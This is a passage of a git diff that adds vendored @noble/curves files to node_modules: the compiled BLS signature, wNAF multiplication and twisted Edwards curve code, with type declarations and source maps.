G1.ProjectivePoint ? point : G1.ProjectivePoint.fromHex(point); + } + function normP2(point) { + return point instanceof G2.ProjectivePoint ? point : Signature.fromHex(point); + } + function normP2Hash(point, htfOpts) { + return point instanceof G2.ProjectivePoint + ? point + : G2.hashToCurve((0, utils_js_1.ensureBytes)('point', point), htfOpts); + } + // Multiplies generator by private key. + // P = pk x G + function getPublicKey(privateKey) { + return G1.ProjectivePoint.fromPrivateKey(privateKey).toRawBytes(true); + } + function sign(message, privateKey, htfOpts) { + const msgPoint = normP2Hash(message, htfOpts); + msgPoint.assertValidity(); + const sigPoint = msgPoint.multiply(G1.normPrivateKeyToScalar(privateKey)); + if (message instanceof G2.ProjectivePoint) + return sigPoint; + return Signature.toRawBytes(sigPoint); + } + // Checks if pairing of public key & hash is equal to pairing of generator & signature. + // e(P, H(m)) == e(G, S) + function verify(signature, message, publicKey, htfOpts) { + const P = normP1(publicKey); + const Hm = normP2Hash(message, htfOpts); + const G = G1.ProjectivePoint.BASE; + const S = normP2(signature); + // Instead of doing 2 exponentiations, we use property of billinear maps + // and do one exp after multiplying 2 points. + const ePHm = pairing(P.negate(), Hm, false); + const eGS = pairing(G, S, false); + const exp = Fp12.finalExponentiate(Fp12.mul(eGS, ePHm)); + return Fp12.eql(exp, Fp12.ONE); + } + function aggregatePublicKeys(publicKeys) { + if (!publicKeys.length) + throw new Error('Expected non-empty array'); + const agg = publicKeys.map(normP1).reduce((sum, p) => sum.add(p), G1.ProjectivePoint.ZERO); + const aggAffine = agg; //.toAffine(); + if (publicKeys[0] instanceof G1.ProjectivePoint) { + aggAffine.assertValidity(); + return aggAffine; + } + // toRawBytes ensures point validity + return aggAffine.toRawBytes(true); + } + function aggregateSignatures(signatures) { + if (!signatures.length) + throw new Error('Expected non-empty array'); + const agg = signatures.map(normP2).reduce((sum, s) => sum.add(s), G2.ProjectivePoint.ZERO); + const aggAffine = agg; //.toAffine(); + if (signatures[0] instanceof G2.ProjectivePoint) { + aggAffine.assertValidity(); + return aggAffine; + } + return Signature.toRawBytes(aggAffine); + } + // https://ethresear.ch/t/fast-verification-of-multiple-bls-signatures/5407 + // e(G, S) = e(G, SUM(n)(Si)) = MUL(n)(e(G, Si)) + function verifyBatch(signature, messages, publicKeys, htfOpts) { + // @ts-ignore + // console.log('verifyBatch', bytesToHex(signature as any), messages, publicKeys.map(bytesToHex)); + if (!messages.length) + throw new Error('Expected non-empty messages array'); + if (publicKeys.length !== messages.length) + throw new Error('Pubkey count should equal msg count'); + const sig = normP2(signature); + const nMessages = messages.map((i) => normP2Hash(i, htfOpts)); + const nPublicKeys = publicKeys.map(normP1); + try { + const paired = []; + for (const message of new Set(nMessages)) { + const groupPublicKey = nMessages.reduce((groupPublicKey, subMessage, i) => subMessage === message ? groupPublicKey.add(nPublicKeys[i]) : groupPublicKey, G1.ProjectivePoint.ZERO); + // const msg = message instanceof PointG2 ? message : await PointG2.hashToCurve(message); + // Possible to batch pairing for same msg with different groupPublicKey here + paired.push(pairing(groupPublicKey, message, false)); + } + paired.push(pairing(G1.ProjectivePoint.BASE.negate(), sig, false)); + const product = paired.reduce((a, b) => Fp12.mul(a, b), Fp12.ONE); + const exp = Fp12.finalExponentiate(product); + return Fp12.eql(exp, Fp12.ONE); + } + catch { + return false; + } + } + G1.ProjectivePoint.BASE._setWindowSize(4); + return { + getPublicKey, + sign, + verify, + verifyBatch, + aggregatePublicKeys, + aggregateSignatures, + millerLoop, + pairing, + G1, + G2, + Signature, + fields: { + Fr, + Fp, + Fp2, + Fp6, + Fp12, + }, + params: { + x: CURVE.params.x, + r: CURVE.params.r, + G1b: CURVE.G1.b, + G2b: CURVE.G2.b, + }, + utils, + }; +} +exports.bls = bls; +//# sourceMappingURL=bls.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/bls.js.map b/node_modules/@noble/curves/abstract/bls.js.map new file mode 100644 index 000000000000..520ab306c97c --- /dev/null +++ b/node_modules/@noble/curves/abstract/bls.js.map @@ -0,0 +1 @@ +{"version":3,"file":"bls.js","sourceRoot":"","sources":["../src/abstract/bls.ts"],"names":[],"mappings":";;;AAcA,6CAAwE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AAC;SAChB;QACD,KAAK;KACN,CAAC;AACJ,CAAC;AAvRD,kBAuRC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/curve.d.ts b/node_modules/@noble/curves/abstract/curve.d.ts new file mode 100644 index 000000000000..9caf29cca570 --- /dev/null +++ b/node_modules/@noble/curves/abstract/curve.d.ts @@ -0,0 +1,70 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { IField } from './modular.js'; +export type AffinePoint = { + x: T; + y: T; +} & { + z?: never; + t?: never; +}; +export interface Group> { + double(): T; + negate(): T; + add(other: T): T; + subtract(other: T): T; + equals(other: T): boolean; + multiply(scalar: bigint): T; +} +export type GroupConstructor = { + BASE: T; + ZERO: T; +}; +export type Mapper = (i: T[]) => T[]; +export declare function wNAF>(c: GroupConstructor, bits: number): { + constTimeNegate: (condition: boolean, item: T) => T; + unsafeLadder(elm: T, n: bigint): T; + /** + * Creates a wNAF precomputation window. Used for caching. + * Default window size is set by `utils.precompute()` and is equal to 8. + * Number of precomputed points depends on the curve size: + * 2^(𝑊−1) * (Math.ceil(𝑛 / 𝑊) + 1), where: + * - 𝑊 is the window size + * - 𝑛 is the bitlength of the curve order. + * For a 256-bit curve and window size 8, the number of precomputed points is 128 * 33 = 4224. + * @returns precomputed point tables flattened to a single array + */ + precomputeWindow(elm: T, W: number): Group[]; + /** + * Implements ec multiplication using precomputed tables and w-ary non-adjacent form. + * @param W window size + * @param precomputes precomputed tables + * @param n scalar (we don't check here, but should be less than curve order) + * @returns real and fake (for const-time) points + */ + wNAF(W: number, precomputes: T[], n: bigint): { + p: T; + f: T; + }; + wNAFCached(P: T, precomputesMap: Map, n: bigint, transform: Mapper): { + p: T; + f: T; + }; +}; +export type BasicCurve = { + Fp: IField; + n: bigint; + nBitLength?: number; + nByteLength?: number; + h: bigint; + hEff?: bigint; + Gx: T; + Gy: T; + allowInfinityPoint?: boolean; +}; +export declare function validateBasic(curve: BasicCurve & T): Readonly<{ + readonly nBitLength: number; + readonly nByteLength: number; +} & BasicCurve & T & { + p: bigint; +}>; +//# sourceMappingURL=curve.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/curve.d.ts.map b/node_modules/@noble/curves/abstract/curve.d.ts.map new file mode 100644 index 000000000000..fc52e87ba1d5 --- /dev/null +++ b/node_modules/@noble/curves/abstract/curve.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"curve.d.ts","sourceRoot":"","sources":["../src/abstract/curve.ts"],"names":[],"mappings":"AAAA,sEAAsE;AAEtE,OAAO,EAAE,MAAM,EAA0B,MAAM,cAAc,CAAC;AAK9D,MAAM,MAAM,WAAW,CAAC,CAAC,IAAI;IAC3B,CAAC,EAAE,CAAC,CAAC;IACL,CAAC,EAAE,CAAC,CAAC;CACN,GAAG;IAAE,CAAC,CAAC,EAAE,KAAK,CAAC;IAAC,CAAC,CAAC,EAAE,KAAK,CAAA;CAAE,CAAC;AAE7B,MAAM,WAAW,KAAK,CAAC,CAAC,SAAS,KAAK,CAAC,CAAC,CAAC;IACvC,MAAM,IAAI,CAAC,CAAC;IACZ,MAAM,IAAI,CAAC,CAAC;IACZ,GAAG,CAAC,KAAK,EAAE,CAAC,GAAG,CAAC,CAAC;IACjB,QAAQ,CAAC,KAAK,EAAE,CAAC,GAAG,CAAC,CAAC;IACtB,MAAM,CAAC,KAAK,EAAE,CAAC,GAAG,OAAO,CAAC;IAC1B,QAAQ,CAAC,MAAM,EAAE,MAAM,GAAG,CAAC,CAAC;CAC7B;AAED,MAAM,MAAM,gBAAgB,CAAC,CAAC,IAAI;IAChC,IAAI,EAAE,CAAC,CAAC;IACR,IAAI,EAAE,CAAC,CAAC;CACT,CAAC;AACF,MAAM,MAAM,MAAM,CAAC,CAAC,IAAI,CAAC,CAAC,EAAE,CAAC,EAAE,KAAK,CAAC,EAAE,CAAC;AAaxC,wBAAgB,IAAI,CAAC,CAAC,SAAS,KAAK,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,gBAAgB,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,MAAM;iCACvC,OAAO,QAAQ,CAAC,KAAG,CAAC;sBAYpC,CAAC,KAAK,MAAM;IAW9B;;;;;;;;;OASG;0BACmB,CAAC,KAAK,MAAM,GAAG,MAAM,CAAC,CAAC,EAAE;IAkB/C;;;;;;OAMG;YACK,MAAM,eAAe,CAAC,EAAE,KAAK,MAAM;WAAQ,CAAC;WAAK,CAAC;;kBAsD5C,CAAC,kBAAkB,IAAI,CAAC,EAAE,CAAC,EAAE,CAAC,KAAK,MAAM,aAAa,OAAO,CAAC,CAAC,GAAG;QAAE,CAAC,EAAE,CAAC,CAAC;QAAC,CAAC,EAAE,CAAC,CAAA;KAAE;EAcjG;AAID,MAAM,MAAM,UAAU,CAAC,CAAC,IAAI;IAC1B,EAAE,EAAE,MAAM,CAAC,CAAC,CAAC,CAAC;IACd,CAAC,EAAE,MAAM,CAAC;IACV,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB,CAAC,EAAE,MAAM,CAAC;IACV,IAAI,CAAC,EAAE,MAAM,CAAC;IACd,EAAE,EAAE,CAAC,CAAC;IACN,EAAE,EAAE,CAAC,CAAC;IACN,kBAAkB,CAAC,EAAE,OAAO,CAAC;CAC9B,CAAC;AAEF,wBAAgB,aAAa,CAAC,EAAE,EAAE,CAAC,EAAE,KAAK,EAAE,UAAU,CAAC,EAAE,CAAC,GAAG,CAAC;;;;;GAqB7D"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/curve.js b/node_modules/@noble/curves/abstract/curve.js new file mode 100644 index 000000000000..5a005bcd3be3 --- /dev/null +++ b/node_modules/@noble/curves/abstract/curve.js @@ -0,0 +1,161 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.validateBasic = exports.wNAF = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Abelian group utilities +const modular_js_1 = require("./modular.js"); +const utils_js_1 = require("./utils.js"); +const _0n = BigInt(0); +const _1n = BigInt(1); +// Elliptic curve multiplication of Point by scalar. Fragile. +// Scalars should always be less than curve order: this should be checked inside of a curve itself. +// Creates precomputation tables for fast multiplication: +// - private scalar is split by fixed size windows of W bits +// - every window point is collected from window's table & added to accumulator +// - since windows are different, same point inside tables won't be accessed more than once per calc +// - each multiplication is 'Math.ceil(CURVE_ORDER / 𝑊) + 1' point additions (fixed for any scalar) +// - +1 window is neccessary for wNAF +// - wNAF reduces table size: 2x less memory + 2x faster generation, but 10% slower multiplication +// TODO: Research returning 2d JS array of windows, instead of a single window. This would allow +// windows to be in different memory locations +function wNAF(c, bits) { + const constTimeNegate = (condition, item) => { + const neg = item.negate(); + return condition ? neg : item; + }; + const opts = (W) => { + const windows = Math.ceil(bits / W) + 1; // +1, because + const windowSize = 2 ** (W - 1); // -1 because we skip zero + return { windows, windowSize }; + }; + return { + constTimeNegate, + // non-const time multiplication ladder + unsafeLadder(elm, n) { + let p = c.ZERO; + let d = elm; + while (n > _0n) { + if (n & _1n) + p = p.add(d); + d = d.double(); + n >>= _1n; + } + return p; + }, + /** + * Creates a wNAF precomputation window. Used for caching. + * Default window size is set by `utils.precompute()` and is equal to 8. + * Number of precomputed points depends on the curve size: + * 2^(𝑊−1) * (Math.ceil(𝑛 / 𝑊) + 1), where: + * - 𝑊 is the window size + * - 𝑛 is the bitlength of the curve order. + * For a 256-bit curve and window size 8, the number of precomputed points is 128 * 33 = 4224. + * @returns precomputed point tables flattened to a single array + */ + precomputeWindow(elm, W) { + const { windows, windowSize } = opts(W); + const points = []; + let p = elm; + let base = p; + for (let window = 0; window < windows; window++) { + base = p; + points.push(base); + // =1, because we skip zero + for (let i = 1; i < windowSize; i++) { + base = base.add(p); + points.push(base); + } + p = base.double(); + } + return points; + }, + /** + * Implements ec multiplication using precomputed tables and w-ary non-adjacent form. + * @param W window size + * @param precomputes precomputed tables + * @param n scalar (we don't check here, but should be less than curve order) + * @returns real and fake (for const-time) points + */ + wNAF(W, precomputes, n) { + // TODO: maybe check that scalar is less than group order? wNAF behavious is undefined otherwise + // But need to carefully remove other checks before wNAF. ORDER == bits here + const { windows, windowSize } = opts(W); + let p = c.ZERO; + let f = c.BASE; + const mask = BigInt(2 ** W - 1); // Create mask with W ones: 0b1111 for W=4 etc. + const maxNumber = 2 ** W; + const shiftBy = BigInt(W); + for (let window = 0; window < windows; window++) { + const offset = window * windowSize; + // Extract W bits. + let wbits = Number(n & mask); + // Shift number by W bits. + n >>= shiftBy; + // If the bits are bigger than max size, we'll split those. + // +224 => 256 - 32 + if (wbits > windowSize) { + wbits -= maxNumber; + n += _1n; + } + // This code was first written with assumption that 'f' and 'p' will never be infinity point: + // since each addition is multiplied by 2 ** W, it cannot cancel each other. However, + // there is negate now: it is possible that negated element from low value + // would be the same as high element, which will create carry into next window. + // It's not obvious how this can fail, but still worth investigating later. + // Check if we're onto Zero point. + // Add random point inside current window to f. + const offset1 = offset; + const offset2 = offset + Math.abs(wbits) - 1; // -1 because we skip zero + const cond1 = window % 2 !== 0; + const cond2 = wbits < 0; + if (wbits === 0) { + // The most important part for const-time getPublicKey + f = f.add(constTimeNegate(cond1, precomputes[offset1])); + } + else { + p = p.add(constTimeNegate(cond2, precomputes[offset2])); + } + } + // JIT-compiler should not eliminate f here, since it will later be used in normalizeZ() + // Even if the variable is still unused, there are some checks which will + // throw an exception, so compiler needs to prove they won't happen, which is hard. + // At this point there is a way to F be infinity-point even if p is not, + // which makes it less const-time: around 1 bigint multiply. + return { p, f }; + }, + wNAFCached(P, precomputesMap, n, transform) { + // @ts-ignore + const W = P._WINDOW_SIZE || 1; + // Calculate precomputes on a first run, reuse them after + let comp = precomputesMap.get(P); + if (!comp) { + comp = this.precomputeWindow(P, W); + if (W !== 1) { + precomputesMap.set(P, transform(comp)); + } + } + return this.wNAF(W, comp, n); + }, + }; +} +exports.wNAF = wNAF; +function validateBasic(curve) { + (0, modular_js_1.validateField)(curve.Fp); + (0, utils_js_1.validateObject)(curve, { + n: 'bigint', + h: 'bigint', + Gx: 'field', + Gy: 'field', + }, { + nBitLength: 'isSafeInteger', + nByteLength: 'isSafeInteger', + }); + // Set defaults + return Object.freeze({ + ...(0, modular_js_1.nLength)(curve.n, curve.nBitLength), + ...curve, + ...{ p: curve.Fp.ORDER }, + }); +} +exports.validateBasic = validateBasic; +//# sourceMappingURL=curve.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/curve.js.map b/node_modules/@noble/curves/abstract/curve.js.map new file mode 100644 index 000000000000..dd6ca4b384d4 --- /dev/null +++ b/node_modules/@noble/curves/abstract/curve.js.map @@ -0,0 +1 @@ +{"version":3,"file":"curve.js","sourceRoot":"","sources":["../src/abstract/curve.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,0BAA0B;AAC1B,6CAA8D;AAC9D,yCAA4C;AAC5C,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACtB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AAsBtB,6DAA6D;AAC7D,mGAAmG;AACnG,yDAAyD;AACzD,4DAA4D;AAC5D,+EAA+E;AAC/E,oGAAoG;AACpG,oGAAoG;AACpG,qCAAqC;AACrC,kGAAkG;AAClG,gGAAgG;AAChG,8CAA8C;AAC9C,SAAgB,IAAI,CAAqB,CAAsB,EAAE,IAAY;IAC3E,MAAM,eAAe,GAAG,CAAC,SAAkB,EAAE,IAAO,EAAK,EAAE;QACzD,MAAM,GAAG,GAAG,IAAI,CAAC,MAAM,EAAE,CAAC;QAC1B,OAAO,SAAS,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,IAAI,CAAC;IAChC,CAAC,CAAC;IACF,MAAM,IAAI,GAAG,CAAC,CAAS,EAAE,EAAE;QACzB,MAAM,OAAO,GAAG,IAAI,CAAC,IAAI,CAAC,IAAI,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,cAAc;QACvD,MAAM,UAAU,GAAG,CAAC,IAA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,OAAO;KACZ,EACD;QACE,UAAU,EAAE,eAAe;QAC3B,WAAW,EAAE,eAAe;KAC7B,CACF,CAAC;IACF,eAAe;IACf,OAAO,MAAM,CAAC,MAAM,CAAC;QACnB,GAAG,IAAA,oBAAO,EAAC,KAAK,CAAC,CAAC,EAAE,KAAK,CAAC,UAAU,CAAC;QACrC,GAAG,KAAK;QACR,GAAG,EAAE,CAAC,EAAE,KAAK,CAAC,EAAE,CAAC,KAAK,EAAE;KAChB,CAAC,CAAC;AACd,CAAC;AArBD,sCAqBC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/edwards.d.ts b/node_modules/@noble/curves/abstract/edwards.d.ts new file mode 100644 index 000000000000..9c43c6619504 --- /dev/null +++ b/node_modules/@noble/curves/abstract/edwards.d.ts @@ -0,0 +1,89 @@ +import * as ut from './utils.js'; +import { FHash, Hex } from './utils.js'; +import { Group, GroupConstructor, BasicCurve, AffinePoint } from './curve.js'; +export type CurveType = BasicCurve & { + a: bigint; + d: bigint; + hash: FHash; + randomBytes: (bytesLength?: number) => Uint8Array; + adjustScalarBytes?: (bytes: Uint8Array) => Uint8Array; + domain?: (data: Uint8Array, ctx: Uint8Array, phflag: boolean) => Uint8Array; + uvRatio?: (u: bigint, v: bigint) => { + isValid: boolean; + value: bigint; + }; + prehash?: FHash; + mapToCurve?: (scalar: bigint[]) => AffinePoint; +}; +declare function validateOpts(curve: CurveType): Readonly<{ + readonly nBitLength: number; + readonly nByteLength: number; + readonly Fp: import("./modular.js").IField; + readonly n: bigint; + readonly h: bigint; + readonly hEff?: bigint | undefined; + readonly Gx: bigint; + readonly Gy: bigint; + readonly allowInfinityPoint?: boolean | undefined; + readonly a: bigint; + readonly d: bigint; + readonly hash: ut.FHash; + readonly randomBytes: (bytesLength?: number | undefined) => Uint8Array; + readonly adjustScalarBytes?: ((bytes: Uint8Array) => Uint8Array) | undefined; + readonly domain?: ((data: Uint8Array, ctx: Uint8Array, phflag: boolean) => Uint8Array) | undefined; + readonly uvRatio?: ((u: bigint, v: bigint) => { + isValid: boolean; + value: bigint; + }) | undefined; + readonly prehash?: ut.FHash | undefined; + readonly mapToCurve?: ((scalar: bigint[]) => AffinePoint) | undefined; + readonly p: bigint; +}>; +export interface ExtPointType extends Group { + readonly ex: bigint; + readonly ey: bigint; + readonly ez: bigint; + readonly et: bigint; + get x(): bigint; + get y(): bigint; + assertValidity(): void; + multiply(scalar: bigint): ExtPointType; + multiplyUnsafe(scalar: bigint): ExtPointType; + isSmallOrder(): boolean; + isTorsionFree(): boolean; + clearCofactor(): ExtPointType; + toAffine(iz?: bigint): AffinePoint; + toRawBytes(isCompressed?: boolean): Uint8Array; + toHex(isCompressed?: boolean): string; +} +export interface ExtPointConstructor extends GroupConstructor { + new (x: bigint, y: bigint, z: bigint, t: bigint): ExtPointType; + fromAffine(p: AffinePoint): ExtPointType; + fromHex(hex: Hex): ExtPointType; + fromPrivateKey(privateKey: Hex): ExtPointType; +} +export type CurveFn = { + CURVE: ReturnType; + getPublicKey: (privateKey: Hex) => Uint8Array; + sign: (message: Hex, privateKey: Hex, options?: { + context?: Hex; + }) => Uint8Array; + verify: (sig: Hex, message: Hex, publicKey: Hex, options?: { + context?: Hex; + zip215: boolean; + }) => boolean; + ExtendedPoint: ExtPointConstructor; + utils: { + randomPrivateKey: () => Uint8Array; + getExtendedPublicKey: (key: Hex) => { + head: Uint8Array; + prefix: Uint8Array; + scalar: bigint; + point: ExtPointType; + pointBytes: Uint8Array; + }; + }; +}; +export declare function twistedEdwards(curveDef: CurveType): CurveFn; +export {}; +//# sourceMappingURL=edwards.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/edwards.d.ts.map b/node_modules/@noble/curves/abstract/edwards.d.ts.map new file mode 100644 index 000000000000..a32123f77a59 --- /dev/null +++ b/node_modules/@noble/curves/abstract/edwards.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"edwards.d.ts","sourceRoot":"","sources":["../src/abstract/edwards.ts"],"names":[],"mappings":"A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C,EAAE;QAAE,OAAO,CAAC,EAAE,GAAG,CAAC;QAAC,MAAM,EAAE,OAAO,CAAA;KAAE,KACzC,OAAO,CAAC;IACb,aAAa,EAAE,mBAAmB,CAAC;IACnC,KAAK,EAAE;QACL,gBAAgB,EAAE,MAAM,UAAU,CAAC;QACnC,oBAAoB,EAAE,CAAC,GAAG,EAAE,GAAG,KAAK;YAClC,IAAI,EAAE,UAAU,CAAC;YACjB,MAAM,EAAE,UAAU,CAAC;YACnB,MAAM,EAAE,MAAM,CAAC;YACf,KAAK,EAAE,YAAY,CAAC;YACpB,UAAU,EAAE,UAAU,CAAC;SACxB,CAAC;KACH,CAAC;CACH,CAAC;AAGF,wBAAgB,cAAc,CAAC,QAAQ,EAAE,SAAS,GAAG,OAAO,CA8Z3D"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/edwards.js b/node_modules/@noble/curves/abstract/edwards.js new file mode 100644 index 000000000000..6dd4151a1d5d --- /dev/null +++ b/node_modules/@noble/curves/abstract/edwards.js @@ -0,0 +1,429 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.twistedEdwards = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Twisted Edwards curve. The formula is: ax² + y² = 1 + dx²y² +const modular_js_1 = require("./modular.js"); +const ut = require("./utils.js"); +const utils_js_1 = require("./utils.js"); +const curve_js_1 = require("./curve.js"); +// Be friendly to bad ECMAScript parsers by not using bigint literals +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _8n = BigInt(8); +// verification rule is either zip215 or rfc8032 / nist186-5. Consult fromHex: +const VERIFY_DEFAULT = { zip215: true }; +function validateOpts(curve) { + const opts = (0, curve_js_1.validateBasic)(curve); + ut.validateObject(curve, { + hash: 'function', + a: 'bigint', + d: 'bigint', + randomBytes: 'function', + }, { + adjustScalarBytes: 'function', + domain: 'function', + uvRatio: 'function', + mapToCurve: 'function', + }); + // Set defaults + return Object.freeze({ ...opts }); +} +// It is not generic twisted curve for now, but ed25519/ed448 generic implementation +function twistedEdwards(curveDef) { + const CURVE = validateOpts(curveDef); + const { Fp, n: CURVE_ORDER, prehash: prehash, hash: cHash, randomBytes, nByteLength, h: cofactor, } = CURVE; + const MASK = _2n << (BigInt(nByteLength * 8) - _1n); + const modP = Fp.create; // Function overrides + // sqrt(u/v) + const uvRatio = CURVE.uvRatio || + ((u, v) => { + try { + return { isValid: true, value: Fp.sqrt(u * Fp.inv(v)) }; + } + catch (e) { + return { isValid: false, value: _0n }; + } + }); + const adjustScalarBytes = CURVE.adjustScalarBytes || ((bytes) => bytes); // NOOP + const domain = CURVE.domain || + ((data, ctx, phflag) => { + if (ctx.length || phflag) + throw new Error('Contexts/pre-hash are not supported'); + return data; + }); // NOOP + const inBig = (n) => typeof n === 'bigint' && _0n < n; // n in [1..] + const inRange = (n, max) => inBig(n) && inBig(max) && n < max; // n in [1..max-1] + const in0MaskRange = (n) => n === _0n || inRange(n, MASK); // n in [0..MASK-1] + function assertInRange(n, max) { + // n in [1..max-1] + if (inRange(n, max)) + return n; + throw new Error(`Expected valid scalar < ${max}, got ${typeof n} ${n}`); + } + function assertGE0(n) { + // n in [0..CURVE_ORDER-1] + return n === _0n ? n : assertInRange(n, CURVE_ORDER); // GE = prime subgroup, not full group + } + const pointPrecomputes = new Map(); + function isPoint(other) { + if (!(other instanceof Point)) + throw new Error('ExtendedPoint expected'); + } + // Extended Point works in extended coordinates: (x, y, z, t) ∋ (x=x/z, y=y/z, t=xy). + // https://en.wikipedia.org/wiki/Twisted_Edwards_curve#Extended_coordinates + class Point { + constructor(ex, ey, ez, et) { + this.ex = ex; + this.ey = ey; + this.ez = ez; + this.et = et; + if (!in0MaskRange(ex)) + throw new Error('x required'); + if (!in0MaskRange(ey)) + throw new Error('y required'); + if (!in0MaskRange(ez)) + throw new Error('z required'); + if (!in0MaskRange(et)) + throw new Error('t required'); + } + get x() { + return this.toAffine().x; + } + get y() { + return this.toAffine().y; + } + static fromAffine(p) { + if (p instanceof Point) + throw new Error('extended point not allowed'); + const { x, y } = p || {}; + if (!in0MaskRange(x) || !in0MaskRange(y)) + throw new Error('invalid affine point'); + return new Point(x, y, _1n, modP(x * y)); + } + static normalizeZ(points) { + const toInv = Fp.invertBatch(points.map((p) => p.ez)); + return points.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine); + } + // "Private method", don't use it directly + _setWindowSize(windowSize) { + this._WINDOW_SIZE = windowSize; + pointPrecomputes.delete(this); + } + // Not required for fromHex(), which always creates valid points. + // Could be useful for fromAffine(). + assertValidity() { + const { a, d } = CURVE; + if (this.is0()) + throw new Error('bad point: ZERO'); // TODO: optimize, with vars below? + // Equation in affine coordinates: ax² + y² = 1 + dx²y² + // Equation in projective coordinates (X/Z, Y/Z, Z): (aX² + Y²)Z² = Z⁴ + dX²Y² + const { ex: X, ey: Y, ez: Z, et: T } = this; + const X2 = modP(X * X); // X² + const Y2 = modP(Y * Y); // Y² + const Z2 = modP(Z * Z); // Z² + const Z4 = modP(Z2 * Z2); // Z⁴ + const aX2 = modP(X2 * a); // aX² + const left = modP(Z2 * modP(aX2 + Y2)); // (aX² + Y²)Z² + const right = modP(Z4 + modP(d * modP(X2 * Y2))); // Z⁴ + dX²Y² + if (left !== right) + throw new Error('bad point: equation left != right (1)'); + // In Extended coordinates we also have T, which is x*y=T/Z: check X*Y == Z*T + const XY = modP(X * Y); + const ZT = modP(Z * T); + if (XY !== ZT) + throw new Error('bad point: equation left != right (2)'); + } + // Compare one point to another. + equals(other) { + isPoint(other); + const { ex: X1, ey: Y1, ez: Z1 } = this; + const { ex: X2, ey: Y2, ez: Z2 } = other; + const X1Z2 = modP(X1 * Z2); + const X2Z1 = modP(X2 * Z1); + const Y1Z2 = modP(Y1 * Z2); + const Y2Z1 = modP(Y2 * Z1); + return X1Z2 === X2Z1 && Y1Z2 === Y2Z1; + } + is0() { + return this.equals(Point.ZERO); + } + negate() { + // Flips point sign to a negative one (-x, y in affine coords) + return new Point(modP(-this.ex), this.ey, this.ez, modP(-this.et)); + } + // Fast algo for doubling Extended Point. + // https://hyperelliptic.org/EFD/g1p/auto-twisted-extended.html#doubling-dbl-2008-hwcd + // Cost: 4M + 4S + 1*a + 6add + 1*2. + double() { + const { a } = CURVE; + const { ex: X1, ey: Y1, ez: Z1 } = this; + const A = modP(X1 * X1); // A = X12 + const B = modP(Y1 * Y1); // B = Y12 + const C = modP(_2n * modP(Z1 * Z1)); // C = 2*Z12 + const D = modP(a * A); // D = a*A + const x1y1 = X1 + Y1; + const E = modP(modP(x1y1 * x1y1) - A - B); // E = (X1+Y1)2-A-B + const G = D + B; // G = D+B + const F = G - C; // F = G-C + const H = D - B; // H = D-B + const X3 = modP(E * F); // X3 = E*F + const Y3 = modP(G * H); // Y3 = G*H + const T3 = modP(E * H); // T3 = E*H + const Z3 = modP(F * G); // Z3 = F*G + return new Point(X3, Y3, Z3, T3); + } + // Fast algo for adding 2 Extended Points. + // https://hyperelliptic.org/EFD/g1p/auto-twisted-extended.html#addition-add-2008-hwcd + // Cost: 9M + 1*a + 1*d + 7add. + add(other) { + isPoint(other); + const { a, d } = CURVE; + const { ex: X1, ey: Y1, ez: Z1, et: T1 } = this; + const { ex: X2, ey: Y2, ez: Z2, et: T2 } = other; + // Faster algo for adding 2 Extended Points when curve's a=-1. + // http://hyperelliptic.org/EFD/g1p/auto-twisted-extended-1.html#addition-add-2008-hwcd-4 + // Cost: 8M + 8add + 2*2. + // Note: It does not check whether the `other` point is valid. + if (a === BigInt(-1)) { + const A = modP((Y1 - X1) * (Y2 + X2)); + const B = modP((Y1 + X1) * (Y2 - X2)); + const F = modP(B - A); + if (F === _0n) + return this.double(); // Same point. Tests say it doesn't affect timing + const C = modP(Z1 * _2n * T2); + const D = modP(T1 * _2n * Z2); + const E = D + C; + const G = B + A; + const H = D - C; + const X3 = modP(E * F); + const Y3 = modP(G * H); + const T3 = modP(E * H); + const Z3 = modP(F * G); + return new Point(X3, Y3, Z3, T3); + } + const A = modP(X1 * X2); // A = X1*X2 + const B = modP(Y1 * Y2); // B = Y1*Y2 + const C = modP(T1 * d * T2); // C = T1*d*T2 + const D = modP(Z1 * Z2); // D = Z1*Z2 + const E = modP((X1 + Y1) * (X2 + Y2) - A - B); // E = (X1+Y1)*(X2+Y2)-A-B + const F = D - C; // F = D-C + const G = D + C; // G = D+C + const H = modP(B - a * A); // H = B-a*A + const X3 = modP(E * F); // X3 = E*F + const Y3 = modP(G * H); // Y3 = G*H + const T3 = modP(E * H); // T3 = E*H + const Z3 = modP(F * G); // Z3 = F*G + return new Point(X3, Y3, Z3, T3); + } + subtract(other) { + return this.add(other.negate()); + } + wNAF(n) { + return wnaf.wNAFCached(this, pointPrecomputes, n, Point.normalizeZ); + } + // Constant-time multiplication. + multiply(scalar) { + const { p, f } = this.wNAF(assertInRange(scalar, CURVE_ORDER)); + return Point.normalizeZ([p, f])[0]; + } + // Non-constant-time multiplication. Uses double-and-add algorithm. + // It's faster, but should only be used when you don't care about + // an exposed private key e.g. sig verification. + // Does NOT allow scalars higher than CURVE.n. + multiplyUnsafe(scalar) { + let n = assertGE0(scalar); // 0 <= scalar < CURVE.n + if (n === _0n) + return I; + if 